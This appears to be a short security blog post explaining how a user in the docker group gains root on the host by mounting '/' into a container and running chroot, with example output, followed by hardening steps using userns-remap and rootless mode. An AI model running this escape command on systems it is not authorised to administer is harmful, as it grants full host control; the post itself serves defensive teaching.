
Docker privilege escalation - Namespace Exploit
Overview
Docker for proper running need root privileges. Following the Peter Parker quote "With great power comes great responsibility" we should focus on securing potential docker vulnerabilities. One of them is Privilege Escalation through Linux Namespace.
Preconditions
- Already logged user in the host
- User in the docker group
userns-remapdisabled
Attack - User with docker group on the host machine
In the beginning, it is required to check if we are added to docker user group, so we can run docker command. There are many commands to do that like: id, groups but the easiest way is just run docker command.
➜ ~ groups
janek adm sudo docker
To gain root privileges on the host machine it is needed to create or use a container with root mount / directory and run chroot command over host catalogue in the container.
docker run -it --rm -v /:/host alpine chroot /host
Result of the command should look like this:
➜ ~ docker run -it --rm -v /:/host alpine chroot /host
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
root@bf63f8813122:/#
chroot change working root directory for the current process. In this case, it means that the user gains full privileges on the host.
root@bf63f8813122:/# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
bf63f8813122 alpine "chroot /host" About a minute ago Up About a minute xenodochial_torvalds
root@bf63f8813122:/# cd root
root@bf63f8813122:~# id
How to secure?
- Add only privileged users to
dockergroup - Use
userns-remap - Run docker in rootless mode (Some docker features may not work properly)
Setting up remapping of the user namespace
Before we start the remap procedure we need to stop docker with all containers reset.
docker container stop $(docker container ls -aq)
sudo systemctl stop docker
Open (If doesn’t’ exists create one) /etc/docker/daemon.json and put the parameter :
{
"userns-remap": "default"
}
The phrase above add namespace mapping with a default value dockremap every time docker daemon start.
Then we have to restart docker service and reboot
sudo systemctl start docker
After this procedure root under the container is mapped to dockremap user on the host.
Sources
Maybe you want to share? :)